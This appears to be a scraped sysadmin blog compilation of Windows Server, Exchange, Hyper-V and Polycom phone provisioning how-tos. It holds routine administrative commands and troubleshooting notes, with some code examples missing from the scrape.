NIC-TEAMING (at the top section) -click ENABLED (next to NIC-TEAMING) (a windows shows) -right-click on MANAGEMENTTEAM (lower-left) > click PROPERTIES -click ADDITIONAL-PROPERTIES (at the bottom). -set SWITCH-INDEPENDENT -set ADDRESS-HASH (if you set to the HYPER-V-PORT setting, each VM will be assigned to a specific NIC). -set STANDBY as NONE ### To Verify New Settings -type: get-VMSwitch |fl -here's my output: ComputerName : foo Name : ConvergedNetSwitch Id : d64482dc-d6d4-4b64-8d24-4105c1ef80a4 Notes : SwitchType : External AllowManagementOS : True NetAdapterInterfaceDescription : Microsoft Network Adapter Multiplexor Driver AvailableVMQueues : 63 NumberVmqAllocated : 3 IovEnabled : False IovVirtualFunctionCount : 0 IovVirtualFunctionsInUse : 0 IovQueuePairCount : 0 IovQueuePairsInUse : 0 AvailableIPSecSA : 2048 NumberIPSecSAAllocated : 0 BandwidthPercentage : 100 BandwidthReservationMode : Weight DefaultFlowMinimumBandwidthAbsolute : 0 DefaultFlowMinimumBandwidthWeight : 1 Extensions : {Microsoft NDIS Capture, Microsoft Windows Filtering Platform} IovSupport : False IovSupportReasons : {This network adapter does not support SR-IOV.} IsDeleted : False ### Start New Settings -rebooted to make sure it survives a reboot. ### NOTES ***To be clear, this is set for LOAD-BALANCING (not FAILOVER).*** We would need another NIC to enable failover. Simply add the NIC to the team. Then choose that NIC to be the STANDBY ADAPTER. A real team/bond requires configuration on the switchs (or more specifically on the switch ports) to create an EtherChannel. If you are to do this, make it easy on yourself and make certain all the switches are the same model. Then make certain all have the same OS before stacking. Once stacked, configure the EtherChannel. ## Outlook 2016 Calendar Sharing - "You Don't Have Permission To Create An Entry In This Folder" Outlook 2016 Calendar Sharing - "You Don't Have Permission To Create An Entry In This Folder" ### SCENARIO You try and share a calendar in Outlook 2016. When the person who has EDITOR accessrights adds the shared calendar to their Outlook, they get the following message: "You Don't Have Permission To Create An Entry In This Folder...." ### RESOLUTION There can be many reasons why this is happening. Ultimately it is a permission issue or a cache permission issue. #### 1-check to see if the calendar has the correct permissions. Show Calendar Permissions Get-MailboxFolderPermission foo.user:\calendar Add Calendar Permissions Add-MailboxFolderPermission foo.user:\calendar -User foo.user2 -AccessRights Editor The non-working mailbox calendar has the correct permissions and it still doesn't work. #### 2-temporarily change the primary smtp address on the shared account. Don't ask me why but I've witnessed that if the shared account ( This e-mail address is being protected from spambots. You need JavaScript enabled to view it ) changes the primary smtp email address domain ( This e-mail address is being protected from spambots. You need JavaScript enabled to view it ) sometimes the person trying to access the calendar can suddenly edit the calendar if they remove the calendar and add it back in. Here's how... On OUTLOOK where you are trying to access the shared calendar: -click CALENDAR (bottom-left). -find OTHER CALENDARS. -right-click on the calendar-name. -click DELETE CALENDAR (don't worry, this only removes the calendar. It doesn't actually delete the calendar). -close OUTLOOK. -change primary smtp via ECP (web interface) from This e-mail address is being protected from spambots. You need JavaScript enabled to view it to: This e-mail address is being protected from spambots. You need JavaScript enabled to view it -open OUTLOOK. -be sure address is updated in ADDRESS-BOOK (global-address-list). -click CALENDAR (bottom-left). -find OTHER CALENDARS. -right-click OTHER CALENDARS > ADD CALENDAR > OPEN SHARED CALENDAR. -type in the name of the person. -click OK. -wait about 10 seconds. WORKS WITH NEW DOMAIN!!! And can edit the calendar. -remove the shared calendar (same as above). -change primary smtp via ECP (web interface)from This e-mail address is being protected from spambots. You need JavaScript enabled to view it to: This e-mail address is being protected from spambots. You need JavaScript enabled to view it -added calendar (same as above). WORKS WITH ORIGINAL DOMAIN!!! And can edit the calendar. It is important to note that changing via Exchange Management Shell (EMS) did not work and resulted in the original error.$Set-Mailbox foo.user -PrimarySmtpAddress This e-mail address is being protected from spambots. You need JavaScript enabled to view it
$Add-MailboxFolderPermission foo.user:\calendar -User foo.user2 I'm not sure if this is an emailaddresses issue. Or a missing value in one of the keys that is changed in the ECP and not in the EMS. Or if it is a global-address cache issue. Or if it a GAL sync issue that takes time. All I can tell you is that I performed the steps above and it worked. Took me a good 30 hours or so to figure that out. In any event, I checked the following but nothing produced any meaningful results concerning this issue:$Get-mailboxpermission foo.user |fl
$Get-Mailbox foo.user| Select-Object -ExpandProperty EmailAddresses$Get-CalendarProcessing foo.user |fl
$Get-CASmailbox foo.user| fl #### 3-check the offlineaddressbook setting for the mailboxdatabase Somewhere along the line during initial install, a CU update or creation of a new mailboxdatabase, the OFFLINEADDRESS book key is blank/null. I think it would automatically default to the default address book but I really don't know. I haven't found any info that says have a null value is bad but most info I see says to set it for all mailboxdatabases. Find the name of the OFFLINE ADDRESS BOOK: Get-OfflineAddressBook |select name Now set the MAILBOXDATABASE to use that name: Get-Mailboxdatabase | Set-MailboxDatabase -OfflineAddressBook “Default Offline Address Book (Ex2013)” ### NOTES Calendar Permissions can be set individually or by role. The DEFAULT permissions are: ReadItems, CreateItems, EditOwnedItems, EditAllItems, CreateSubfolders, FolderVisible Or another way to view the DEFAULT role is like this (the minus is what the role doesn't have): ReadItems CreateItems EditOwnedItems EditAllItems CreateSubfolders FolderVisible -DeleteOwnedItems -DeleteAllItems -FolderOwner -FolderContact The EDITOR role permissions are: ReadItems, CreateItems, EditOwnedItems, EditAllItems, FolderVisible, DeleteOwnedItems, DeleteAllItems Or another way to view the EDITOR role is like this (the minus is what the role doesn't have): ReadItems CreateItems EditOwnedItems EditAllItems -createsubfolders FolderVisible DeleteOwnedItems DeleteAllItems -FolderOwner -FolderContact #### GET PERMISSION TO MAILBOX Sometimes getting the permissions to the mailbox helps: Get-MailboxPermission foo.user #### GET PERMISSION TO MAILBOX THAT IS ANOTHER USER Sometimes it helps to see who else has permission to the mailbox: Get-MailboxPermission foo.user |? {$_.IsInherited -ne "true" -and $_.User -ne "NT AUTHORITY\SELF"} Another way is: get-mailboxpermission foo.user |where { ($_.IsInherited -eq $false) -and -not ($_.User -like “NT AUTHORITY\SELF”) } |select user,accessrights,deny,inheritancetype

Which is the same as:
Get-MailboxPermission foo.user |? {$_.IsInherited -eq "$false -and $_.User -ne "NT AUTHORITY\SELF"} |select user,accessrights,deny,inheritancetype #### CHANGE PERMISSION TO MAILBOX Sometimes you need to change permissions on the mailbox: Set-MailboxPermission foo.user -user foo.user2 -AccessRights FullAccess #### ADD PERMISSION TO MAILBOX Add-MailboxPermission foo.user -user foo.user2 -AccessRights FullAccess #### REMOVE PERMISSION TO MAILBOX remove-MailboxPermission foo.user -user foo.user2 -AccessRights FullAccess #### SEE COMPLETE FOLDER STRUCTURE Sometimes, seeing the complete folder structure of the mailbox helps: get-MailboxFolder foo.user:\ -recurse #### GET THE CALENDAR NAME Sometimes getting the calendar name helps because it is changed from another language: Get-MailboxFolderStatistics foo.user |where-object {$_.FolderType -eq "Calendar" } |select-Object Name

Sometimes you need to add permissions to the calendar:
Add-MailboxFolderPermission foo.user:\calendar -User foo.user2 -AccessRights Editor

#### REMOVE CALENDAR FOLDER PERMISSIONS

Sometimes you need to remove permissions to the calendar:
remove-MailboxFolderPermission -Identity foo.user:\calendar -User foo.user2

#### SEE MAILBOXES IN ORGANIZATIONAL UNIT

Sometimes you need to see the email in a single AD OU:
get-mailbox -OrganizationalUnit "ou=where-ever,ou=whatever-users,dc=domain,dc=tld" -resultsize unlimited |get-mailboxstatistics |ft DisplayName,TotalItemSize,Itemcount

#### REMOVE CACHE SHARED CALENDAR FOLDERS IN OUTLOOK 2016:

Sometimes working off of cached shared calendar folders causes an issue and you need to remove the cache folders from OUTLOOK 2016:
-account-settings > email  > change > more-settings > advanced
-restart OUTLOOK

#### REMOVE CACHE FOLDERS IN OUTLOOK 2016:

Sometimes working off of cached folders causes an issue and you need to remove all the cache folders from OUTLOOK 2016:
-account-settings > email  > change
-uncheck "Use Cached Exchange Mode"
-click NEXT > FINISHED
-restart OUTLOOK

## Windows Server 2012 Connect Branch Office to HQ Domain And Replicate Domain And Replicate DNS

Windows Server 2012 Connect Branch Office to HQ Domain And Replicate Domain And Replicate DNS

I had new 10K server and wanted to test out before making changes. The goal is to turn it into a VM. Test out connecting to the HQ domain and replicate the domain and dns. In this situation the branch office already had a domain. The location was purchased by HQ and needed to roll into the HQ domain.

Couple of notes before we begin:
-keep your domain flat. If you can, do NOT do subdomains, trusts, etc. It's too much of a pain later on. Keep it simple.
-you can have 2 domains on the same network (just not 2 DHCP servers).

### CREATE VIRTUAL MACHINE

HYPER-V is included in WINDOWS-10. So all we have to do is create a new VHDX from the existing SDD that came with the server.

-connect SDD to WINDOWS-10 via USB caddy.
-created server-2012r2 vm with DISK2VHD (you only need the main partition).
-started HYPER-V
-created new VM (do not import, etc).
-attached newly created VHDX, no-network, 4 processors, 10GB ram.
-booted for first time.
-shutdown.
-create VSWITCH external-network & allow-management-operating-system-to-share-this-network-adapter (no vlan id).
-attached VSWITCH to VM.

### ADD BRANCH OFFICE TO DOMAIN

-on hq ad server: ad-sites-services > subnets > create subnets-for-branch-office & attach to branch-office
-on hq ad server: ad-sites-services > inter-site-transports > ip > create new > hq/branch > 15 mins

### JOIN BRANCH OFFICE SERVER TO HQ DOMAIN

Simple enough but if you've never done it before you might be thinking there's something more to it. There isn't.

-start VM
-change dns to dns at hq
-join domain
-restart

### PROMOTE BRANCH OFFICE SERVER AS DOMAIN CONTROLLER

-click NEXT > NEXT > NEXT
-click ACTIVE-DIRECTORY-DOMAIN-SERVICES
-let it go through its setup.
-click promote to DOMAIN-CONTROLLER (upper-right flag)
-select DNS SERVER & GC (global catalog)
-except defaults until INSTALL.
-click INSTALL
-wait
-server reboots

### REPLICATE BRANCH OFFICE SERVER DOMAIN CONTROLLER

-check USERS&COMPUTERS to see if in DOMAIN-CONTROLLERS
-check SITES&SERVICES
-view all servers are correct.
-click NTDS SETTINGS
-right-click right-panel
-click REPLICATE-NOW
-cycle through all NTDS SETTINGS
-right-click NTDS-SETTINGS > ALL-TASKS > CHECK-REPLICATION-TOPOLOGY
-cycle through all NTDS SETTINGS
(on the new server, the largest delta is 'unknown')
-click NTDS SETTINGS
-right-click right-panel
-click REPLICATE-NOW
(on the new server, notice the time is now a few seconds)

High-five!!!

NOTES:

## CTS2600

I have a storage array with 12 3.5" drives. It's a little older but it works. It has an LSI sticker on it.

I pop in some hard drives, plug in the Ethernet connection and power it on.

Now, how do I control it? There is no monitor connection.

So, I look at the DHCP find the ip address. I put the ip address in the browser but nothing shows.

With a tool, I see that it is showing as a NETAPP device. Hmmm... I thought it was LSI but OK.

I do a little googling and find that NETAPP purchased the storage array division from LSI.

So I go to the NETAPP (who acquired LSI) web site for support. I see that it needs a program called SANTRCITY. SANTRICITY isn't offered as a free download, I have to register for it.

No problem. I provide the SERIAL-NUMBER on the device and wait.

I receive a message from NETAPP stating that they won't provide support since they made it for someone else who branded it as their own. Also known as an OEM. It even states in their LSI acquire document:
http://mysupport.netapp.com/NOW/public/apbu/oemcp/NetApp_Engenio_Support_Integration_FAQ.pdf

But who is the OEM? I don't know. There are no markings on the device. This OEM is supposed to provide SANTRICITY or a rebrand of the app to control the storage device.

I find out that the device is actually an LSI CTS2600. The LSI CTS2600 was made for DELL as the POWERVAULT MD3200. I download the DELL software but it doesn't find the array that is booted. I try a couple more times without success.

I finally hear back from NETAPP that the OEM is BLUEARC. Great! A little more googling and I see that it is a BlueArc Mercury 50.

BLUEARC was purchased by HITACHI. Humph... Siging up for the access to Hitachi support web site.

The BLUEARC software was incorporated into HITACHI COMMAND SUITE.

Support writes back that there is no support contract on the device so they will not provide any help.

Now I have a 20K SAN that boots and physically works but I have no way to control it or manage it. In other words, I have a 20K boat anchor.

Good thing there are FTP sites with admins that don't lock them up :-)

## System Volume Information Folder Size

If you are "missing" free space, and only have a few GB left when you should have many GB left (or TB), the culprit could likely be:

• -permission issue. You cannot see the size of a folder if you do not have read permissions to access the folder.

You can see if there are SHADOWS by following the instructions in the previous post. One item that VSSADMIN and DISKSHADOW will not show is the size of the SHADOW. Bummer.

The Windows OS saves these SHADOWS in the SYSTEM VOLUME INFORMATION folder. For various reasons, a typical administrator does not have permissions to that folder. This causes an issue because you cannot know the size of the folder through EXPLORER.

So how do you know the size of the SYSTEM VOLUME INFORMATION folder? Here's how using robocopy:

• robocopy "c:\System Volume Information" c:\dummy /l /xj /e /nfl /ndl /njh /r:0 /b

For most other items, WINDIRSTAT will show you the way.

A shadow is copy of file or a volume. This can be done even while the file is in use. The proper name for this is Volume Snapshot Service  or Volume Shadow Copy Service or VSS. And it works at a block level (rather than a file level).

There are a couple of parts to this but the heart of the technology is the VOLUME SHADOW COPY SERVICE which performs the actual copy.

The transfer of the data is called a PROVIDER. While Windows comes with its own PROVIDER, other software companies can create their own providers. An example of a built-in PROVIDER is SYSTEM RESTORE or PREVIOUS VERSIONS for a file or folder. An example of an outside software company is SHADOWPROTECT. While SHADOWPROTECT is an outside company, it still relies on VSS to create the shadow on its behalf. SHADOWPROTECT does not create its own shadow.

The shadows are traditionally managed by VSSADMIN. Here's how to show all PROVIDERS in either powershell or command-line:

And here's how to show the SHADOWS:

And here's how to show the SHADOW storage:

VSSADMIN is not the only tool. Another tool gives more info. That is DISKSHADOW. DISKSHADOW is a interactive command interpreter like DISKPART. What I've found is that DISKSHADOW is a more accurate and more powerful tool.

Here's how to enter DISKSHADOW interactive:

Here's how to show all PROVIDERS:

Here's how to show all SHADOWS:

It will show all the SHADOWS, if it is created for a builtin provider or for an 3rd party provider. And it will show the provider ID for each shadow.

To add info, you should be able to limit the size of a shadow:

• -computer-management
• -right-click SHARD-FOLDER (on the left-hand side)
• -click SETTINGS for each drive and adjust the size as you see fit.

NOTE: you can also do this on the DISK-MANAGEMENT snap-in.

## Upgrading Polycom Phones Across Entire Location

Upgrading all the Polycom phones across an entire location has been a mission. Again, there's so much mis-information and different setups it is hard to weed through it all.

In short, you need first provision the phones.

Secondly, you need to update the firmware and software. In older Polycom phones, called SoundPoint phones, you need 2 files uploaded to your phone-server for each model of phone-set. The 2 files are:

• the sip/uc-software/application (sip.ld) file.

In newer Polycom phone, called VVX phones, the bootrom/bootloader/updater file is automatically included in the sip/uc-software/application (sip.ld) file.

### STAGE 1: Provision Polycom Phones

Polycom phones can boot with power or POE (hint, use POE). Without a configuration, they won't do anything except complain. Configurations are great because they determine nearly everything on the phone. You can set phone call features, backgrounds and even speakerphone volume. In fact, you can set just about everything.

The configuration can be kept in one of the following locations:

• phone: settings set by the buttons on the phone.
• web: settings set by the web interface.
• server: central server that provides the configuration.

We are interested in large deployments, so we will focus on central server deployments. This is important because the configuration of the setup is usually more than just the phone server and attention is needed elsewhere. If your phone are getting configurations and you don't see them in the phone set or on the phone server, the the DHCP server is where to look.

Central server deployments can serve the configuration files through:

• FTP
• TFTP
• HTTP/HTTPS

Most deployments will use FTP since it can be setup everywhere; meaning inside the office and outside the office. On the other hand, TFTP will only be available inside the office.

Upon booting, phones will naturally try to get an IP address from a DHCP server. When they talk to the DHCP server, the server can respond with some options to tell the Polycom phones where to look for the configuration files.

The options are:

• OPTION-066: this is a typical TFTP server option. However, it may already be in use by something else so Polycom had to put in a higher priority option customized just for Polycom phones.
• OPTION-160: this is a Polycom specific TFTP server option. Polycom phones are hard-coded to look for this option first. This will have to be added as an option on a MS DHCP server.

To add the option to MS DHCP:

• -start the DHCP server-manager
• -right-click IPV4 or IPV6 (on the left-hand side).
• -click SET-PREDEFINED-OPTIONS
• -type:
NAME: Polycom Boot Server Name
DATA: String
CODE: 160
DESCRIPTION: doesn't-matter

To add the OPTION-160 to the DHCP scope:

This is the secret sauce and test it out before roll-out on large deployments by rebooting just one phone. This will set the value on the phone. If the value is set incorrectly and is unable to find the central-server, the phone will not be able to obtain the configuration files and will use the cached configuration. The only way I know to clear the cache is to login to the web interface:

If that doesn't work, factory default the phone. This can be harder than it sounds.

• -hold 1-3-5; type in 456 or type in the macaddress from the bottom of the phone (001122334455)
• -press HOME > SETTINGS > ADVANCED > ADMINISTRATOR-SETTINGS > RESET-TO-DEFAULTS > RESET-LOCAL-CONFIG
• -press HOME > SETTINGS > ADVANCED > ADMINISTRATOR-SETTINGS > RESET-TO-DEFAULTS > RESET-WEB-CONFIG
• -press HOME > SETTINGS > ADVANCED > ADMINISTRATOR-SETTINGS > RESET-TO-DEFAULTS > RESET-TO-FACTORY
(wipes all configuration containers on the device)
• -press HOME > SETTINGS > ADVANCED > ADMINISTRATOR-SETTINGS > RESET-TO-DEFAULTS > FORMAT-FILE-SYSTEM
(wipes app from phone and will require provisioning server to work again)

You can see if the provisioning worked by looking at the phone:

• -press HOME > SETTINGS > STATUS > PLATFORM > CONFIGURATION
• -see the boot server, boot type and configuration files.

1-First, download the BOOTLOADER/BOOTROM/UPDATER files here for the SOUNDPOINT phones (the VVX phones have thier BOOTROM/UPDATER included in the sip.ld file):
(or if you have a SoundStation 6000/7000, you need the B version here:

2345-12560-001.bootrom.ld

3-Take all the BOOTROM files and upload them to your phone-server (provisioning server) in the tftpboot directory.
(fyi - the tftpboot directory will be at the root of the filesystem: /tftpboot.)
The chart below will show what bootrom goes with what phone-set model.

 FILES DESCRIPTION bootrom.ld Concatenated BootROM 2345-12345-001.bootrom.ld ????? (Probably SoundPoint IP 300/302/320/330) 2345-12360-001.bootrom.ld SoundPoint IP 321 2345-12365-001.bootrom.ld SoundPoint IP 331 2345-12375-001.bootrom.ld SoundPoint IP 335 2345-12450-001.bootrom.ld SoundPoint IP 450 2345-12500-001.bootrom.ld SoundPoint IP 550 2345-12560-001.bootrom.ld SoundPoint IP 560 2345-12600-001.bootrom.ld SoundPoint IP 650 2345-12670-001.bootrom.ld SoundPoint IP 670 2345-17960-001.sip.ld VVX 1500 3111-15600-001.bootrom.ld SoundStation IP 6000 3111-17823-001.dect.ld VVX D60 Wireless Handset & Base Station 3111-19000-001.sip.ld SoundStation Duo 3111-30900-001.bootrom.ld SoundStation IP 5000 3111-33215-001.sip.ld SoundStructure 3111-36150-001.sip.ld SpectraLink 8440 3111-36152-001.sip.ld SpectraLink 8450 3111-36154-001.sip.ld SpectraLink 8452 3111-40000-001.bootrom.ld SoundStation IP 7000 3111-40250-001.sip.ld VVX 101 3111-40450-001.sip.ld VVX 201 3111-44500-001.sip.ld VVX 500 3111-44600-001.sip.ld VVX 600 3111-46135-002.sip.ld VVX 300 3111-46161-001.sip.ld VVX 310 3111-46157-002.sip.ld VVX 400 3111-46162-001.sip.ld VVX 410 3111-48300-001.sip.ld VVX 301 3111-48350-001.sip.ld VVX 311 3111-48400-001.sip.ld VVX 401 3111-48450-001.sip.ld VVX 411 3111-48500-001.sip.ld VVX 501 3111-48600-001.sip.ld VVX 601 3111-48810-001.sip.ld VVX 150 3111-48820-001.sip.ld VVX 250 3111-48830-001.sip.ld VVX 350 3111-48840-001.sip.ld VVX 450

Great! You are halfway there.

### STAGE 3: THE SIP.LD FILE aka POLYCOM-UC-SOFTWARE aka APPLICATION)

The SIP.LD file is the image that will be served by the TFTP/FTP central server. This is the same as the APPLICATION VERSION or the SIP APPLICATION VERSION.

1-First, look at the Polycom Matrix for older phones (ie SOUNDPOINT/SOUNDSTATION phones) here:

Or the Polycom Matrix for newer phones (ie VVX phones) here:

(Hopefully it's obvious, the MS Lync is for MS Lync servers. If you do not know what that is, don't worry about it as it is not the one you need).
(As of this writing the Current General Availability for SOUNDPOINT phone-sets is v4.0.11).

3-unzip the download and inside the folder, you will see SIP.LD files like:
2345-12560-001.sip.ld

4-Take all the LD files and upload them to your phone-server (provisioning server) in the tftpboot directory. Overwrite any files that are currently there (even if they are from the bootrom zip from above).
[This process is easier than figuring out if we need the files or not. Having everything will not hurt anything.]

5-Once there, rename the file according to your system. Use the guide above as direction. I had to rename the files as such:
sip.SPIP560.4.0.11.revc.ld
sip.VVX410.5.7.0.revc.ld

### STAGE 4: CONFIG FILES

----------From here, there might be some troubleshooting. Namely, some of the old config files may not work with the most recent firmware. Edit the files accordingly in the tftpboot directory.

Each phone will have a MAC-address number on the back. Something like, 0004123EDT78.

So, each phone will have a base-config file of mac-number.cfg. Something like, 0004123EDT78.cfg

The phones are hard coded to look for this file.

The first part of the file will dictate that SIP.LD/APPLICATON file. It will look like this:

APPLICATION APP_FILE_PATH="sip.[PHONE_MODEL].3.2.3.revc.ld"

With our directory structure in place, we can have the same model of phones use different APPLICATION versions at the same time. And we can have different models of phones use different APPLICATION versions at the same time. All of this is done by changing the base-config file.

This file will determine what SIP.LD file to use and what further config files to use. Before the update, the contents will look something like this:
<APPLICATION APP_FILE_PATH="sip.[PHONE_MODEL].3.2.3.revc.ld" CONFIG_FILES="deviceset-12345.cfg, phone-0004123EDT78.cfg, sip.3.2.3.revc.cfg" MISC_FILES="0004123EDT78-directory.xml" LOG_FILE_DIRECTORY="" OVERRIDES_DIRECTORY="" CONTACTS_DIRECTORY="" LICENSE_DIRECTORY="">
</APPLICATION>

After the update, you need to edit the file to look something like this:
<APPLICATION APP_FILE_PATH="sip.[PHONE_MODEL].4.0.11.revc.ld" CONFIG_FILES="deviceset-12345.cfg, phone-0004123EDT78.cfg, sip.4.0.11.revc.cfg" MISC_FILES="0004123EDT78-directory.xml" LOG_FILE_DIRECTORY="" OVERRIDES_DIRECTORY="" CONTACTS_DIRECTORY="" LICENSE_DIRECTORY="">
</APPLICATION>

You can do this file-by-file if needed.

Or you can run one command on the phone-server.

1-make sure you are in the tftpboot directory

2-make a directory for the backup of the files:
mkdir cfgfiles

3-copy all the base config files into this directory:
cp ./000*.cfg ./cfgfiles
(or cp ./6416*.cfg ./cfgfiles)

4-change all the files at once:
sed -i -e "s/3.2.3.revc.ld/4.0.11.revc.ld/g" ./000*.cfg

This will update all the base-config files to tell the phone-sets to use the new SIP.LD/APPLICATION files.

#### PHONE OVERRIDE FILES

Phone override files are changes made from the phone-set and are named <MAC Address>-phone.cfg. So something like, 0004123EDT78-phone.cfg

On my phone-server, the older phone override files were named phone-0004123EDT78.cfg

If they have parameters older than v3.3.0, you will get an error message. To fix, see below in the "UPDATE CONFIG FILE WITH UTILITY" section.

#### WEB OVERRIDE FILES

If you change something via the phone-set web interface, it will save the settings in a web-override file named <MAC Address>-web.cfg. So something like, 0004123EDT78-web.cfg

### STAGE 5: REBOOT

Now reboot the phone. It should upgrade the bootrom automatically. You do not need to do anything as the phone is hard coded to look for and use the newest bootrom available.

After the bootrom is updated, the application/sip.ld will update. This process may take around 10 minutes per phone.

If you have a POE switch, you can do this across the network by unplugging the POE switch. Wait about 1 minute. Plug the POE switch back in. Then wait about 15 minutes for all the phone to upgrade.
(Of course, wait for after hours time period.)

### STAGE 6: UPDATE CONFIG FILE WITH UTILITY

If you have an older config file, the Polycom phone-set will give an error. Something like, "phone-0004123EDT78.cfg is pre-3.3.0 params." Basically it is saying that you are trying to config a parameter that doesn't exist.

You can see what config files are being used and which have errors by:

• -press HOME > SETTINGS > STATUS > PLATFORM > CONFIGURATION
scroll down on the phone and it will show the number of PRE-3.3.0, ERRORS, DUPLICATES and OK's.

Consequently, you will have to update your config files to remove those parameters.This can be done parameter-by-parameter by looking at the log file on the phone (or server) and manually adjusting for each.

Or you can do this automatically with a Windows software utility called: CFCUtility. Your results may vary so be careful with the utility.

http://support.polycom.com/PolycomService/support/us/support/eula/ucs/UCConfig_agreement.html
• -unzip.
• -in the CFCUtiliy folder, create a folder called "config-files".
• -on the central-server, make sure you are in the tftpboot directory.
• -make a backup directory:
mkdir cfgphonefiles
• -copy all the phone files to this directory (as a backup for safe keeping):
cp ./*cfg ./cfgphonefiles/
• -gather all the config-files in the folder called "config-files".
(this can be done by mounting usb drive, ftp, scp, etc)
• -from a Windows command-line change to the CFCUtiliy folder.
• -type: cfcUtility.exe -t ./config-files
• -it will ask you some generic questions and accept the defaults.

Now you can transfer the files back to the phone-server in the tftpboot directory.

• -reboot the phone(s).
(remember, if you have a POE switch unplug the switch and plug back in for a network-wide solution)
• -it will reboot 2 or 3 times on it's own.

### UNCOMPLICATING CONFIG FILES

All the configuration for the phones can be done in one config file if we really wanted to. Or we could have one really long config file for each phone. But for sanity's sake, we break this out.

In the tftpboot directory, you will have some files for each phone-set:

0004123EDT78.cfg (the base config. The backup is in the cfgfiles directory)
0004123EDT78-phone.cfg (the new phone override, used automatically)
0004123EDT78-web.cfg (the new web override, used automatically)
phone-0004123EDT78.cfg (the old phone override, used by the base-config file. This file is converted and a backup is in the cfgphonefiles directory. It can be deleted since it is not being used.)

Other config files can be present as well (but not required). In the unzip folder of the Polycom UC Software from STAGE-3, you can find the generic config files:

applications.cfg
dect.cfg
device.cfg
features.cfg
firewall-nat.cfg
H323.cfg
lync.cfg
pstn.cfg
reg-basic.cfg
region.cfg
sip-basic.cfg
sip-interop.cfg
site.cfg
tr069.cfg
video.cfg
video-integration.cfg

Each has it's own place in life. I usually see:

64167f920093-reg-basic.cfg (for the line registration)
64167f920093-features.cfg (for the features of the phone)
polycom.UC5.7.0.sip-basic-11325.cfg (for the line registration of the location)
polycom.UC5.7.0.device-11325.cfg (for device settings for the location)
polycom.UC5.7.0.sip-interop-11325.cfg (for interoffice operation settings)
polycom.UC5.7.0.site-11325.cfg (for site settings like timezone)

You can see the entire list of options/values by inspecting the 73,000 line file in the unzip download:

Polycom-UC-Software-5-7-0-rts18-release-sig-split\Config\polycomConfig.xsd

#### FOR NEWER FIRMWARE VERSIONS, SINGLE PHONE

For newer phone-sets with updated firmware versions, simply redirect the provisioning server to: voipt2.polycom.com/<version-number>

1. go to phone
3. change Server Type to HTTP.
4. type: voipt2.polycom.com (for Server Address)
• Example: to load the latest SIP 4.04 = voipt2.polycom.com/404
• Example: to load the latest SIP 4.0.11 = voipt2.polycom.com/4011
5. reboot the phone-set
6. wait 15 minutes
7. once updated, change the server back to the local provisioning-server

For a current live directory list go here:
http://voipt2.polycom.com/WEBCONTENT/directory.html

NOTES:

-the config files are explained here: http://documents.polycom.com/topics/139356

## Update the ADMX Templates in Windows Server to Apply GPO to Windows 10

Updating the ADMX Templates in Windows Server to Apply GPO to Windows 10 is a manual process. A Windows Server can control Windows client computers through Group Policy/Group Policy Objects (GP/GPO). It does this through template files called ADMX files. These ADMX files simply correspond to registry-edits (regedits).

Since not all regedits are available on OS versions (for example, controlling OneDrive was included along the way), there is a set of ADMX files for common milestones like:

• -Windows 7
• -Windows 7 SP1
• -Windows 8
• -Windows 8.1
• -Windows 10
• -Windows 10 (1511)
• -Windows 10 (1607) Anniversary Update

The ADMX files are not automatically updated on the Windows Server. They must be manually updated. The updates are in MSI files (and not zipped files). The instructions are pretty simple once someone shows you:

• -install the ADMX msi (this will unpack the ADMX files in a folder called "Policy Definitions").
• -copy the entire contents to: C:\Windows\SYSVOL\sysvol\domain-name\Policies\PolicyDefinitions\

You can find the ADMX files here:

-Windows 10 (1511)

-Windows 10 (1607) Anniversary Update

-Windows 10 (1703)

-Windows 10 (1709)

-Windows 10 (1803)

Or in any Windows 10 client:
C:\Windows\PolicyDefinitions

Be careful taking the ones installed in a client OS and putting them on a Domain controller that manages multiple OS's. It can be dangerous because they often can have different settings, different ADMX names and can be missing settings for supporting previous versions of the OS.

This video explains it better than I can:

NOTES:

• adml files are xml translation/localization files.

## Creating Shares On Server 2012

Many experienced admins get this wrong. Here's how to do it right.

There are a 5 parts to this.

### CREATE THE GROUP

• -click ACTIVE-DIRECTORY-USERS-AND-COMPUTERS.
• -create an GROUP (aka SECURITY-GROUP).

### CREATE THE SHARE

• -create a folder.
• -right-click to PROPERTIES > SHARING.
• -checkmark SHARE-THIS-FOLDER.
• -if hidden, add a $at the end. ### ADD SHARE PERMISSIONS • -click PERMISSIONS. • -remove all groups/users. • -add the GROUP required for this share. • -checkmark FULL-CONTROL. • -click OK > OK. ### ADD NTFS PERMISSIONS • -click SECURITY tab (at the top). • -click ADVANCED (at the bottom). • -click DISABLE ENHERITANCE. • -click CONVERT INHERITED PERMISSIONS INTO EXPLICIT PERMISSIONS. • -remove all groups/users except SYSTEM. • -add the GROUP required for this share. • -checkmark FULL-CONTROL. • -click OK > APPLY. ### TEST PERMISSIONS • -click the EFFECTIVE ACCESS tab (at the top). • -test the user/group you want to make sure can access. ### BONUS: ONLY SHOW FOLDERS THE USER HAS ACCESS TO If a user doesn't have access to "Accounting" folder, then that folder does not show. This is called "Access Based Enumeration." • -launch SERVER MANAGER (on the server). • -click on FILE AND STORAGE SERVICES. • -click on SHARES (on the left-hand side). • -on EACH SHARE (one at a time), right click on the share and select PROPERTIES • -expand SETTINGS. • -click ENABLE ACCESS BASED ENUMERATION. NOTES: • -the EVERYONE group does not include everyone. This is why it should not be used. • -the most restrictive permissions win. • -the group is assigned to the user upon login. Consequently, the user will have to logout and login again to test if the share is working. ## Find the FSMO in Your Domain You have multiple servers. Despite there being a sync between them, only one can be the master for certain operations. For example, only one server can hold the official invitation list. The other bouncers will have to check the master list. This master is called the FSMO. So how do you know which server is the FSMO? How do you find the FSMO in your domain? Here's how: • open cmd • type: netdom query fsmo You can also: • -open ACTIVE-DIRECTORY-USERS-AND-COMPUTERS. • -right-click on the domain-name (on the left-hand side). • -click OPERATIONS MASTER. • -it should show you there as well. At the different tabs at the top, you can select which OPERATION you are interested in. There are other ways as well. ## Black Screen of Death on Windows 10 v1607 Update (aka Anniversary Update - a Feature Update) Black Screen of Death on Windows 10 v1607 Update (aka Anniversary Update - a Feature Update) upon reboot. The only way to get out of it is to power down the computer. Upon reboot, the computer will revert to the previous version of Windows 10 v1511. So how to get Windows 10 v1607 Update (aka Anniversary Update) to install? -start the update. -manually reboot to finish. -before it reboots, unplug the USB dongle for the Logitech wireless mouse or wireless keyboard. -the update will install. ## Intel HD Graphics on Windows 10 64-bit In the spirit of "just show me how to fix it" I will be succinct. The older Intel HD Graphics 3000 (or Sandy Bridge) is no longer working in WINDOWS-10(v1607). It used to work in WINDOWS-10(v1511) but INTEL is pushing foreword. The same is true for Intel HD Graphics 2000 and HD 